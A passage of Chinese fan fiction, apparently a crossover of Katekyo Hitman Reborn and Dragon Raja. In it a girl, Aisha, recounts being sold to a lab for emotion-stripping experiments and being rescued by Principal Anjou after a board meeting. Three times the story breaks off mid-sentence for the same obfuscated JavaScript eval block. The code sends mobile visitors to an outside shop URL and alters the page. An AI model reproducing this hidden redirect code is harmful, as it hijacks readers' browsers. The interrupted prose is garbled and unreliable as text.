“今天在【game】制造的幻象中,我看到我妈妈了。其实之前我不太记得她的长相,所以一直脑补的都是莫妮卡·贝鲁奇那样的绝色美人。” 她突然道。 “可原来她没有那么好看,二十出头眼神却疲倦得五六十岁。她把我的手掰开了,然后用德语和我说对不起。我根本不会说德语了但我就是知道那句话是‘对不起’的意思。最后她哭了。” 艾莎将身体缩得更紧了一些。她把下巴搁在两膝之间,并发出一声轻轻的叹息。 “在我很小的时候,好像是看到她被人欺负吧,我也不记得了。我想保护她的,结果血统突然就觉醒了,那种非人的特征把坏人都吓跑了。” “至于具体特征是什么,纲吉君自己脑补啦。”她轻声嘟哝,“比如长出两个脑袋八条腿什么的……” “总之坏人都被吓跑了,可是我妈妈也被吓到了。最后她就把我卖掉了。”艾莎轻描淡写地说道。 与此同时她又想到,最开始和沢田说的“以有意思的方式说出自己负面情绪”的计划大概是失败了吧? 温柔的人对情绪都是很敏感的。可她并不是个温柔的人,所以也做不到温柔的事。 在巨大挫败感的驱使之下,她低垂下头,声音也变得闷闷的: “——她把我卖给了一家研究机构。提出‘第二种方案’的那个研究机构。” 31. 第31章 会议(一更) “……可恶,这么说感觉像在卖惨一样。” 短暂的自闭后,艾莎很快振作起来。她轻轻拍了拍自己的脸,对着沢田碎碎念道: “但我也没办法毕竟是被亲妈卖了嘛……老实说这事让我一度对人类社会失去希望——要知道那可是亲妈啊。人只能有一个妈,就算再人渣那也是妈。中国有句古话,说虎毒尚且不食子……可她居然就这么把我卖掉了。枉我从小捡破烂养活她。” 说这话时她全身散发着黑气,可气氛却不可思议地松弛下来。 沢田纲吉不得不承认,刚刚有那么一瞬他确实感到有些局促。 他本人对“母亲”这个词有种天然的挑剔——他妈妈沢田奈奈是世界上一切美好词汇的集合,所以他总是觉得世界上所有母亲都该是奈奈的样子。 即使后来他在暗世界里行走,也见到了诸多反例,这份心情却始终没有改变过。 在他心里,“母亲”这个词就该是至高至纯的。 所以在听见“买卖”时他下意识的心生反感。 他是无法对艾莎说出“你妈妈一定还是爱着你的”这类冠冕堂皇的话的。然而同样的,他也没有立场去批判艾莎的母亲。 当亲情与背叛联系在一起时,那种沉重的伤痛几乎只能自己消化。留给旁人置喙的余地总是很少很少。 艾莎大概也是在用自己的方式告诉他,他并不需要为了安慰她而绞尽脑汁。她自己就能处理好。 ——可因为自己就能处理好,就应该一直都是一个人么? 沢田纲吉望着身旁的女孩,心里微微一动。 他心想她是不是总是这样,一个人默默消化这些叫人悲伤愤怒的事,看起来那么孤单又那么习以为常。 可其实她没有必要这么体贴……她本可以更依赖他一些。 这想法突如其来,显得唐突,就连沢田自己也暗暗一惊。 但比起这种难以捕捉的、情感上的细微末节,眼下有更需要他加以关注的东西。 艾莎的话与先前蒂娜的悲鸣重叠在一起。 “艾莎……被剥夺了情感么?”他低声问道。 这的确能解释一些琐碎的细节。比如为什么艾莎在提到养父时总是态度干涩,为什么偶尔……她的眼神会在不经意间变得空洞。 可这归根结底也只是艾莎的一部分而已。这么多天相处下来,沢田纲吉并不认为她是那种没有感情、趋近机械的可悲存在。 “……蒂娜是这么说的么?” 艾莎看了他一眼,接着她突然有些释然地笑起来,并轻而坚定地摇了摇头。 “纲吉君你看我像是被剥夺了情感的样子么?”她摊开手,“而且说到底,这种事根本是异想天开嘛。人又不是机器,按几个按钮输入几段程序就能改变执行模式了。” 那个计划既违背人道主义,又以不光彩的失败告终。因此被校董会列为不必提起的禁忌之一。 艾莎从未想过有朝一日会向人倾吐这段经历。她又停顿了一会儿,思考如何向沢田描述实验的原理。 “纲吉君知道脑白质切除术么?”她问道,“那是一种破坏大脑神经的外科手术,常用于治疗精神病,五六十年代一度非常流行。手术过后,病人会变得形如痴呆,相对的也会减弱攻击性。” 见沢田脸色变得难看起来,艾莎快速否认道:“——但主导研究所的科学家追求的是更为精细的东西,可以想象成没有副作用的脑白质切除术。他们希望在辅以精神催眠的前提下,将人的负面情绪与正面情绪完全剥离。这样一来,人就只会喜悦放松,不会悲伤痛苦。” 沢田纲吉露出颇为微妙的神色:“这听起来……” “匪夷所思,是不是?”艾莎耸肩,“但研究混血种的科学家都是帮秃头疯子啦。正常人都知道不可能的事他们也要先实践一番证明的确不可能才罢休。数学里把这称作‘穷举法’。” 穷举法的另一名称是‘暴力法’。可见混血种的暴力基因的确刻入骨髓。 “他们的实验很快陷入瓶颈。就在这时,有一个实验体展现出了非同一般的超前进度。”艾莎边说边用手指了指自己,“超前到什么程度呢——如果说其他人还停留在婴儿学步阶段,那么我已经一骑绝尘地学会3600度托马斯回旋这样的高难度动作了。” 沢田纲吉:“……” 艾莎继续信口道,“想当然的,我成了全研究所的希望,生活待遇直逼所长。然而经过各种各样的测试,他们沮丧地发现实验并没有成功。与其说我没了负面情绪,倒不如说我自发形成了另一套反应机制。” “这套机制隔断了我对负面情绪的感知与反应。那种中二病的小说里不是经常有这种句子么?‘悲伤而不自知’什么的。”她轻声道,“就和这种很像啦——我没有失去那些情感,但我也无法真正理解它们,所以也无法做出反应。” “这让研究所的人非常纠结,从外在表现来看我达到了与实验最终目的完全一致的状态,可细想起来其实南辕北辙……就好比他们捂住我的鼻子和嘴,希望我以后可以不要借由呼吸生存,但我却自己长出了鱼鳃那样的东西。” 这是一个太恰当也太悲哀的比喻。沢田纲吉垂下眼帘,他及时收敛住了心绪。 艾莎并未透露实验的具体过程。可对于Mafia来说,人体试验并不是一个陌生的概念。 尽管沢田曾明令禁止,每年仍有数量不少的相关报告被堆叠到他的办公桌上。 他清楚地知道这件事可以疯狂到怎样超出人性的地步。 回忆起那些浸泡着铁锈味的文件和实验场地,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658790|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识双手交握。右手中指的大空戒指被他掩盖在掌心。 “……艾莎。”沢田刚要开口。她却在这时轻轻撞了撞他的膝盖。 “先听我说完啦纲吉君——这段经历听起来很悲哀,但对我来说是已经结束的事。”艾莎摇了摇头。 “而且如果不是因为这件事……我不会遇到校长。”说着,她的眸光微微闪动一下。 这并不是艾莎第一次在沢田面前提到自己的养父。可是与先前刻意透出的冷淡不同,这一次,沢田纲吉明确的从她眼底看见了混杂着怀念的悲伤。就好像蛋壳猝然碎裂,露出一片柔软的纯白。 他突然明白为什么她会对这段往事表现得这么蛮不在乎了。 或许对于艾莎来说,‘无法理解负面情绪’的确是一件‘已经结束的事’。 -- “我是孤例。研究所的人想尽办法要弄清楚在我身上发生的异变,他们提取了我的生物信息进行比对,却在巧合下发现了惊人的结论。”艾莎慢慢说道,“我的DNA与某个古老的混血种家族高度一致,鉴于我妈妈是个普通人,这份‘馈赠’只能是来源于我素未谋面的父亲。” 她微微一笑,“这让整件事变得很尴尬。当时我父亲早就因意外死在某次古墓发掘里,所有人都认为他的血脉就此断绝。可这时一个实验体突兀地出现了。” 为了方便理解,艾莎随口打了个比方: “这就好比食死徒抓了一群麻瓜来训练不可饶恕咒,有天却突然发现他们中间有个来路不那么正经的斯莱特林后裔。还是被‘钻心剜骨’折磨疯了的那种。” “——为了‘弥补’这个巨大的错误,他们召开了一场高层会议,专门讨论我的‘去留’问题。” -- 【1999年德国 科威尔修道院】 校董会的临时会议已许久不在德国举办。尽管在他们还被称作‘秘党’的时代,这座修道院曾是整个庞大组织的中心。 这次弗罗斯特将会议地点选在这里,除了贴合主题之外,也很有点炫耀新旧权力交接的意思。 为保私密,召开会议的房间没有窗户,即使在白天也显得漆黑森严。全员到齐后,大门被三把沉重的金、银、铁制锁具封闭。 一列烛台被摆放在长桌中央。烛光照亮了参会者们的脸。 一共九人,八男一女。以弗罗斯特为代表的六位校董坐在上首,除了一个二十多岁穿着滑雪服的年轻男人外,其余人皆着挺括的黑色西装。 下首的三人姿态各异:一个略显局促的秃头男人,身披白大褂,显然是位科研人员;一个面无表情的年幼女孩,六七岁大,留一头清汤寡水的黑色长发。 最后一人坐在长桌尽头,他闲适地靠在椅背上,手里把玩着一只雪松木的烟盒。 32. 第32章 校长(二更) 会议已经持续了很长时间,气氛僵硬。空气里像是夹满了薄薄的铁片。 “报告书里说她仍然保留着情感,那么她是怎么越过‘临界血限’的?”弗罗斯特皱眉。 作为近年来声势烜赫的加图索家族的代理人,弗罗斯特永远端着一副精神抖擞的精英派头。就像一只24小时停不下来的斗鸡。 “准确的说,所有混血种都能越过‘临界血限’。”所长本着科研的精神纠正他,“但是一旦越过,我们就会因为体内龙族基因比例的提升而失去人性,变成死侍那样的东西。所以问题是如何在越过‘临界血限’后依然保留理智——” “这些可以略过。在座的每个人都知道血统强化的原理,其中有些格外清楚。”说着,弗罗斯特意味深长的往下首方向看了一眼。“所以你的意思是,她能够在超越界限后保持理智,我们掌握了另一种安全跨越‘临界血限’的方法?” “…是也不是。”所长道,“我们原本的计划是通过外界刺激完全剥离人的负面情绪,但44号偏离了既定的轨道。她在实验过程中自发形成了另一套心理应对机制,至于她是怎么做到的我们还在研究当中——” 弗罗斯特再次打断他,“但她的确能够越过那条界限?” 这是一种谈话技巧,通过不断的发问完全掌握对话的节奏。在接连不断的提问下所长显然有些招架不住,他擦了擦额头上的汗。 “理论上是这样——但一切还需要更多的研究!”所长急急道。 这句承认足以使全部校董动容。 一个能够安然越过‘临界血限’的孩子,即使在混血种漫长的历史上也是极端少有的例子。 ——她的确值得研究,掌握她就像掌握通往力量的钥匙。 可是钥匙这种东西,只有被独占时才能体现价值。 弗罗斯特已经得到了想要的信息。他不动声色地转移了话题,“你的实验目的应该是强化我们中血统不够高的同伴,使他们能够与我们并肩作战。我看了你的实验申请书,写得非常动人。低廉、高效,这也是当初我们拨给你启动资金的原因。” 只有看过申请书的人才知道他真正要表达的意思。人体试验所需要的‘材料’珍贵,当初所长的申请能被通过是因为他承诺自行寻找试验对象,即那些血统低劣、不足以进入混血种社会的‘普通人’。 这样一来,即使试验失败也不会损耗秘党的任何利益;而一旦成功,他们就将在与龙族的战争中拥有一支堪比死侍的军队。 这本是极端蔑视生命的决策,但弗罗斯特把话说得很漂亮。 这就是政治家的本领,即使是一坨狗屎他们也能给你吹得天花乱坠,用优雅的咏叹调叹息着说这可是一块独一无二能够孕育生命的上好肥料啊。 弗罗斯特的态度亲切,好像一位皇帝慰问劳苦功高的臣子。然而还不等所长松一口气,他便立即话锋一转: “——但我们绝没有允许你去绑架一名长老会的后裔!” 他把一封DNA比对结果扔到桌上。校董们交头接耳一阵。 所长立即站起来惊慌地辩解: “那并不是绑架,我们事先不知道44号的血统!后来我们又进行过筛查——她妈妈是个作风随便的女人,自己都不知道自己孩子的生父是谁——” 弗罗斯特冷冷道:“我不关心这些,我只看重结果。事实就是你差点摧毁一个甘贝特的末裔。这是一个古老的家族,尽管没落,但仍然高贵。即使是现在听到她曾曾祖父的名字,我们仍要脱帽肃容表达敬意。‘掘墓人’卡尔·冯·甘贝特——那是曾光耀秘党历史的人,为我们伟大的事业做出过惨烈的牺牲。” 他义正言辞,好像代表着全世界的正义。校董们有人默然不语,有人似是被他话语中的力量感染,轻轻颔首。 唯有长桌尽头传来一声短促响动。弗罗斯特的目光像利箭一样射过去,却在中途被跳起来的所长截断。 “我们以后会更加小心!我已经给44号开辟了独立的房间,我们也会尽量避免那些会造成永久性伤害的实验!研究还没有结束,你们不能就这么带走她!”他急切地做出保证。 44号是孤例,是绝好的材料和样本,他绝不能让其他人带走她! 弗罗斯特不为所动,“五年前,我们一度以为甘贝特的血脉已经彻底断绝。她本是我们中的一员,当然要由校董会负责保护。” “叩叩!” “是由校董会保护还是加图索家族保护?!”所长急红了眼,开始口不择言。 弗罗斯特缓缓站起来,他的双手撑住桌面,好像要用滔天的权势压垮所长。 “请注意你的言辞!”他眯起眼睛,一字一顿地警告道。 “咚咚咚咚咚咚咚。” “如果只是保存血脉那么还有很多种方法!等44号开始发育我会让最好的妇产科专家进行取卵,不,不用等到发育,使用激素就可以——所有人都能得到44号的生物信息,我们可以共同研究她的后代!”所长试图从其他校董处获取支持。 “咚咚咚咚咚咚咚咚咚咚咚咚咚咚!” 弗罗斯特没想到眼前的科研人员这么不识好歹,居然敢一而再再而三的公然顶撞他。 但此刻正公开挑衅加图索家代理人的显然不止所长一个—— “咚咚咚咚咚咚咚咚咚咚咚咚!叩叩叩!” “这是校董会的事务!”弗罗斯特忍无可忍地转向噪音来源,“你被邀请参加这次会议仅仅因为你曾是‘掘墓人’的学生。昂热,不要忘记自己的身份!” 闻言,两位更加年长的校董立即心照不宣地对视一眼。 弗罗斯特刚刚开始代替他的哥哥掌管加图索家族的事务,因此急于在校董会树立自己的威信。 但他还是太急躁了,他不该用这样的语气和昂热对话。 “我会坐在这里只是因为听说有人做出了能与龙族对抗的武器。”坐在长桌尽头的男人终于开口。他专注于点燃手中的雪茄,因而回应得漫不经心。 刚才的噪音显然来自他捣鼓雪茄的动作。 可看他此刻慢条斯理地转动茄身,使其在不接触火焰的前提下被点燃,又很难想象刚刚他是怎么搞出那么大的动静来的。 “现在两个小时过去了,我没有看到任何与这相关联的事物。先生们,请容我提醒一句,我们‘伟大的事业’指的是屠龙,而不是从事人口买卖。”他淡淡地说道。措辞温和,却又辛辣锋利。 火光静静地照亮了他的脸。这无疑是一位老人,发须皆白,岁月在他脸上留下了深沉的印记。 他同样穿一身笔挺的黑色西装,胸口的红色玫瑰鲜艳欲滴。 你很难通过外表猜测他的具体年龄。他通身一股英国绅士的老式做派,显得儒雅而富有书卷气。同时他的坐姿又挺拔得像位军人,眼睛里跃动着年轻人才会有的那种莹莹光亮。 ——希尔伯特·让·昂热,卡塞尔学院校长。他是从秘党时代活到学院时代的最后一人,也可能是当今世上最强的屠龙者。 面对这样的人,即便他表现得再无礼,弗罗斯特也必须展现一二容忍的态度。 “难道这柄‘武器’还不能使你满意么?”弗罗斯特冷冷问道,他指着下首的女孩,“能够越过‘临界血限’的血统纯度,稳定的性格,足够听话,易于控制。难道这样的一把‘刀’还不足够么?” 昂热似乎被他说得意动。他慢悠悠地吸了一口雪茄,隔着重重烟雾审视那个面无表情的女孩。 自会议开始她就维持着同样的姿势,一言不发地坐在那里;连眼睛都鲜少眨一下,看起来就像一只素白色的玩偶。 那双蓝色的瞳孔呆滞漠然,倒映着虚空。 昂热端详一阵,继而礼貌地微笑,“我很抱歉,但我不觉得我能挥舞着她上战场。” 身穿滑雪服的年轻校董发出一声短促的闷笑。 弗罗斯特面露警告,“风趣这种东西更适合出现在酒桌上。昂热,现在是校董会议,极端严肃的场合。” “是么,极端严肃的场合?”昂热淡淡地说,“可为什么我在这里只看到一群令人讨厌的大人,一边试图给一个七岁的孩子打催卵针,一边已经迫不及待地想要切开她的脑子。” 他缓缓环视一圈,“先生们,在这件事上我们本可以做得更好些。” 校董们陷入沉默。 昂热的话撕开了那层冠以正义之名的粉饰,裸.露出来的真相斑驳而朽坏。 校董们都是顶级的政治家,满口仁义美德,脑子里计算的全是利益得失。 这群屠龙者的领袖其实也遵循着龙族的逻辑。唯以力量为尊,弱者活该被吞噬被消灭,旧的王永远被新的王杀死。 在旧王被推翻后,人类君主或许会假惺惺为其立碑立传,龙却只会想着怎么把它遗留的东西吞吃的更干净一点。 甘贝特就是湮灭在昔日的王。 问题是它留下的遗产太少了。少得不够瓜分。 “昂热,我也要提醒你一句。”弗罗斯特张开双手,“这一切都是为了我们伟大的事业!在那个终极的目标面前,一切东西都是可以牺牲的!” “同意。”昂热微微点头,“但从这份可笑的报告上我看不出任何值得牺牲的意义。” 他轻蔑的把烟灰掸到那堆纸上,“我猜你们已经美化过里面的内容,但这份报告仍让我以为自己是在1942年的奥斯维辛集中营里。几十个脑子出了问题的科学家执着于把一个又一个孩子逼疯。因为其中有一个疯得比较不一样,于是又沾沾自喜地围着她研究她究竟是怎么疯掉的。可最后你们得到了什么呢?” 所长涨红了脸:“——44号可以安全越过‘临界血限’!虽然还不够完美,但只要继续深入研究,我们总有一天能掌握越过界限的方法!” “恕我直言,先生。”昂热礼貌地说,“你们掌握的只是把人变成白痴的方法。” 所长噎住了。 “昂热,你的意思是继续研究也没有意义?”一位中年校董问道,“无论如何,这孩子的确可以跨越‘临界血限’。” “付出的代价太大了。”昂热道,“以‘自我’为代价的血统强化没有意义。” “怎么说?”中年校董表现出虚心求教的姿态。 “诸位是政治家和科学家,所以追求绝对的冷酷和理性。”昂热耸肩,“可‘我们’的力量其实来源于情感啊……或者说欲望。一个人只有真正失去过什么,才会明白什么是珍贵。下一次为了不再失去那么珍贵的东西,他才会不惜赌上自己的一切……不惜拿命去拼。人类就是这样脆弱又固执的生物。” 中年校董默默颔首。 “而现在她不知道什么是悲伤,就不会知道什么是珍贵;不知道愤怒,就不知道守护;不知道恐惧,就不知道什么是真正的勇气、什么是尊严。”昂热低声道,“诸位,在我们与龙族交战的漫长历史中,所倚仗的从来都是这些东西而不是血统……如果血统就是一切,那么战争不可能胜利。我们中没人的血统高得过纯血龙族。” 这些话如果是从他人口中说出,校董们或许嗤之以鼻。然而说出这些话的人偏偏是昂热——他已经活过太漫长的岁月,这一百年来他直面过究极恐怖的敌人,经历过太多太凶险的战斗。 即使在混血种中昂热也是罕见的高龄,可他依然活着,而且活得很年轻,随时准备着暴起把苏醒的龙王送进地狱里去。 支撑着他的东西不也是欲望?如野火般熊熊燃烧的……复仇的欲望! 校董之中只剩一个人还不肯妥协。他看出了昂热想干什么——在昂热开口以前这场会议是校董会与研究所的博弈,而校董会、又或者说加图索家,已经胜券在握。 然后就在这个该死的关头——昂热——这个该死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658791|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的第三方势力加入了战局! “昂热校长,”弗罗斯特冷冷道,他特别在“校长”两个字上加了重音。“我必须再次提醒你,你不是校董会的成员,而是我们选出来的管理人,我们投资学院,而你替我们管理它。既然甘贝特的末裔不是你的学生,你在这件事上就没有发言权!” “喔,她当然还不是我的学生。”昂热叼着雪茄微笑,“如果她是,就不会在听见你们公然谈论她的生育问题时坐在那儿无动于衷。我的学生没有这么乖,她该在听见第一个字以前就跳起来把你们所有人的骨头打断。” 弗罗斯特被这句公然的挑衅噎得一个字也说不出来。 “但我想我们没有选择。”昂热淡淡道,“秘党从来只接收三种人。政治家、科学家和战士。现在这三种人都在这个房间里。鉴于她的脑子已经被电击和各种反人类的测试搞坏,我看不出她成为前两种人的任何可能性。那么她就只能跟着我,成为一名战士。” “她不会死在实验室里或者手术台上。”他在桌上敲击一下,像是为女孩日后的命运一锤定音。 “——要死,她也是握着刀剑死。” 会议进行到这一步,再没有任何协商的余地。遵循古老的规定,校董们举手表决女孩的去向。 所长一票也未获得。轮到昂热时,考虑的时间似乎被拉得慢了一些。 中年校董率先举手,接着是身穿滑雪服的年轻人……最后除了弗罗斯特和一位拈着佛珠的耄耋老人外,所有人都举起了手。 昂热获得4票。他朝支持他的校董们点头致意。 “——不!你们不能这么做!” 眼看会议就这么临近尾声,所长情绪激动地站了起来。他死死抓住身旁女孩细白的手腕,女孩被突然拉扯得站起来,可脸上还是一派木然,既不惊讶也不恐惧。 因为动作激烈,一团黑色从她头顶落下——原来她那头清汤寡水的长发只是假发而已。 为了方便贴上电极,她原本的头发被剃得极短,东一块西一落,就像被雷电劈过的枯草。枯草之间又露出密密麻麻的针孔,以及被过度电击后留下的青紫痕迹。 几位校董移开视线。他们所受的教育使他们能够站在高处轻描淡写地决定千万人的生死,却不允许他们直视任何直接曝露在他们面前的罪行与伤口。 “听我说!她——她没有那么稳定!”所长一咬牙,说出了之前蓄意隐瞒的东西,“那套心理应对机制是44号自己建立的,既然她能建立就也能自己摧毁——而我们不知道她什么时候会变回原样,所以只能尽力让她生活在一成不变的环境里!” “想想吧先生们!如果有一天她突然恢复了原有的心理模式,那么那些一直被压抑的负面情绪就都会回来!而她早就超过‘临界血限’了……那时她会变成死侍那样的东西!” 他剧烈地喘息着,试图从校董们的脸上找到理解与支持。 可是没有,一丁半点也没有。他得到的只有冷漠。 “这可有点麻烦啊……”昂热挠了挠额角。但从他的表情实在看不出他有感觉到一丝一毫的棘手。 “我会把她带在身边。如果她失控,我会亲自处决她。这样可以了吧?”昂热面向校董。 他是那种说到做到的男人。这句话说出口就是他的担保。 “请便。”弗罗斯特冷冷道,“但是这样的情况一旦发生,校董会会向你追责。” “当然。”昂热漫不经心地应道。 所长警惕地看着他。对于科学的狂热冲昏了所长的头脑,他甚至开始思考要不要带着44号夺门而逃。他有起跑的时间,他们中间还横亘着一张巨大的长桌。 然而不可思议的事情发生了。原本还在和弗罗斯特对话的昂热消失了,下一瞬间他的声音出现在所长身后。 “嗨嗨,先生,你不能这么拎着一个孩子。”他告诫般说道,并抓住了所长的手腕。因为叼着雪茄,他的声音显得有点含糊。 所长突然反应过来——是时间零!言灵中的悖论与BUG,使用者可以通过加快自身速度变相减缓时间,在旁人看来就宛如时间停止! 手腕处传来剧痛,但是这点痛和所长此刻的心痛相比根本不算什么。 他意识到自己是逃不过时间零的,他保不住44号了。这样珍贵的样本,不知道以后还能不能出现第二个! ——要再尝试多少次,才能出现第二个像44号这样的材料? 所长颓丧地坐回了椅子上。 可是昂热却并未立即带着女孩离开。 “待会儿我们会去贵所拜访。”昂热彬彬有礼地说道。 “……来干什么?”所长顿了顿,“44号没有私人物品留在研究所。” “喔,我想你误会了。”昂热语调轻松,“我们是要烧掉它。” “烧…烧掉它!?”所长像看疯子一样看着昂热——这位老人居然又流露出一股□□般的流氓气质。他叼着雪茄眉飞色舞,对他来说“烧房子”好像就和“带孙女出去郊游”一样令人心生愉悦。 “对。”昂热瞟了一眼人偶般呆滞的女孩,“现在她或许对发生的一切没什么感觉,但以后总有一天她会明白过来你们对她做的一切有多么令人恶心。” “所以才要现在烧掉它。”他继续道,“这样以后她回忆这段经历,第一个蹦到她脑子里的就不会是那些愚蠢的实验,也不是这场无聊的会议。而是她亲手放了一把火,烧掉了那个曾经禁锢她的鬼地方。还有你们——这群曾经折磨她的人——像悲痛欲绝的青蛙一样上蹿下跳的可笑样子。” “你、你疯了……”所长绝望地看着他,仿佛能从他的描述里看到滔天的火光。 “我是个教育家。”昂热淡淡道。这个西装暴徒将手按在女孩肩上,姿态如一个保护者,一位老师,一个父亲。 “我说过,我会教给她什么是尊严。” 33. 第33章 血之哀(1) 艾莎的叙述在这里停顿一下。 “校长是个很酷的家伙吧?”她朝沢田咧嘴一笑,眼睛亮晶晶的。 “嗯,很酷。”望着她此刻的笑脸,沢田纲吉轻轻点了点头。 对于艾莎来说,校长先生是重要到不可取代的人吧?他这么想道。 不止是代替了父亲的角色而已,同时也是光芒与救赎般的存在。 “如果不是校长,我不会是今天这样。”艾莎轻声道。“我刚离开研究所的时候相当自闭,像块木头。心理医生建议他一直陪着我,比如每天给我念床头故事什么的……” 沢田边听边默默颔首。要把一个孩子彻底破碎掉的灵魂重新拼合完整何其不易。关于这一点,身为Mafia首领、又见识过诸多黑暗的沢田纲吉再清楚不…… “所以校长那会儿闲着没事就把我打进校医院,然后坐在床头给我分析我格挡的动作有哪里不到位……”艾莎露出一个迷离的微笑。 ——等、等等,这算哪门子的床头故事!和心理医生说的完全不是一回事吧!?你到底在一脸感伤地回忆些什么啊喂!? 沢田原本严肃的表情迅速龟裂。原本他脑补的校长先生是一位如九代目般儒雅又不失威仪的老者形象,但真人似乎比他想象中硬核得多。 ……而且这种暴力中透着股邪门儿的教育方法很难不让他联想到某个包揽他中学梦魇的鬼畜婴儿…… “不过等我再大一点他就不怎么管我了。”艾莎稍微想了想,“校长很忙,经常包机出去度假或者参加拍卖会什么的……每年学院的选美大赛倒是雷打不动的回来担当评委。” ……这哪里忙碌了怎么听都是满世界玩乐的阶级敌人生活啊!?说起来校长不是已经一百多岁了么——一位百岁老人活得这么荡漾真的没问题么!? 真·社畜沢田纲吉努力抑制住抽搐的嘴角。 随着艾莎的叙述,校长先生的形象越发生动鲜活。这位老者的性格似乎只能用变幻莫测来形容:时而冷酷时而张扬,时而豁达时而风骚。上一秒还在生死边缘真枪实弹地拼杀,下一秒就能风度翩翩地挽着漂亮少妇出席各种高等酒会。 沢田纲吉脑海中的校长也从温文尔雅的九代目和冷酷无情的成人Reborn一路狂奔到色眯眯扭动着的夏马尔……他尝试把这些形象尽量合理地重叠在一起,最后只感到太阳穴传来一阵又一阵无力的隐痛。 “是不是觉得校长性格贼多面?”艾莎像是看穿他的心理活动,“他就是这样的人啦,只要他愿意,和任何人都不会产生距离感。但其实他心里没什么特别在意的东西,一百多年来只一门心思想着怎么把‘绿巨人’这个种族消灭掉。” 校长可以斯文儒雅也可以脱线搞笑,但骨子里仍然是那种一心复仇的人,活着就是为了把一切龙族都送进地狱里去,正如它们把他最好的朋友们永远埋葬在那个初夏。 “为了达成这个目的他可以不择手段。纲吉君可别把他当成什么维护世界和平的好人——如果炸沉整个美洲大陆就能彻底灭绝‘绿巨人’,他行动的时候大概眼睛都不会眨一下。”艾莎顿了顿,思维再次发散出去,“说起来,如果他真这么做了纲吉君是不是还得给他发个奖章什么的……?” “……不,艾莎,Mafia和Terrorist并不是一回事。”沢田一秒钟弄清了她的脑回路,瞬间满头黑线,心里的吐槽机疯狂运转。 ——炸沉美洲什么的也太可怕了!世界版图会瞬间消失掉一小半啊喂!会赞成这种事的根本只有本拉登和他的继任者而已——而且就算是他们也不会发奖章的,能完成这种壮举的人他们怎么配褒奖他们只配匍匐在校长先生脚下好么!? “啊,这样……”艾莎点点头,有点讪讪的,“总之校长就是这种人啦,活得很矛盾。如果同伴死亡,他也会陷入暴怒;为了保护学生也会不遗余力,独自留下来殿后什么的……所以你也不能说他无情、或者对身边人都是利用。” “……这么一想,我也没有很了解校长……这就是活太久的坏处,真正知道他的人都死了。”她以手托腮,话到最后成了嘟囔,带着一种清浅的怅然。 沢田纲吉一怔,这时他才突然恍然:刚才他听得入了神,以至于忘记了在最初就得悉的、这故事最终的结局。 ——这个冷酷、张扬、豁达、风骚的男人已经故去了。艾莎所叙说的那些鲜活都是曾经,现在的世界上再没有他的存在。 “两个月前,一切彻底结束了。”艾莎轻轻道,“校长死在最后的战争里。” 沢田看着身旁的女孩。她又恢复先前那种平静的态度了,但这种平静太刻意。 “…其实我没有很难过,这种事早有心理准备啦。”艾莎笑笑,“校长说过的,他对挑战混血种的寿命极限没有兴趣。只是要活到最后的战役,如果能亲手报仇就最好了。一百多年的等待就为了有那么一天——这样的人,你能期待他在战后活下来么?” 她的脑海里浮现出男人最后的样子。很狼狈,但是看起来居然如释重负。 “最后他的确亲手报了仇。很多人都说这是最好的结局了。”她又笑笑,“怎么说呢……大仇得报如愿以偿?或者死而无憾之类的吧。” “……那么艾莎呢?”沢田迟疑一下,还是低声问道。 或许就连女孩自己都没有注意到,在这件事上,她规避了自己的想法。 艾莎很明显的一愣。她停顿一下,没有立即回答沢田的问题。 “纲吉君可能已经察觉到了……虽说用了‘绿巨人’这种搞笑的称呼,但是这场战争的性质与通俗意义上的国家冲突不尽相同。”她斟酌着说,“这是种族间的厮杀,从一开始就没有回旋余地。其实很残酷。” 秘党与龙族之间从来不死不休。既没有‘谈判’也没有‘俘虏’,当然也就不存在‘投降’的概念。 “很多人活不到最终决战。今天还在一起说笑的人可能明天就再也看不到,这种事早就习惯了。”她这么轻声道,像是说给自己听。“……想太多也没用,活下来的人要继续向前走……校长是这么说的。” 屠龙之路遍布血腥。卡塞尔的很多学生很早就接受和习惯了失去——远远早于真正与龙族和死侍搏杀之前。 学院里有座小小的教堂,平时并不工作。 第一次听见那里响起钟声的时候,校长带她去了前面的草坪,又把胸口白色的饰巾递给她,示意她系在旁边的围栏上。 不止他们,很多老师和学生做了同样的事。围栏如树木般盛放了白花。 教堂响起钟声的时候,就说明有人从我们中离开了。男人淡淡地说。 什么是离开? 离开就是死亡。 什么是死亡?她锲而不舍的追问。 死亡就是心脏停止跳动,脑干反射消失。死后人的意识就此消散,再也不存在于这个世界上。 听起来很简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658792|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 的确很简单。所以才要珍惜和同伴相处的时间。 你也会死亡么? 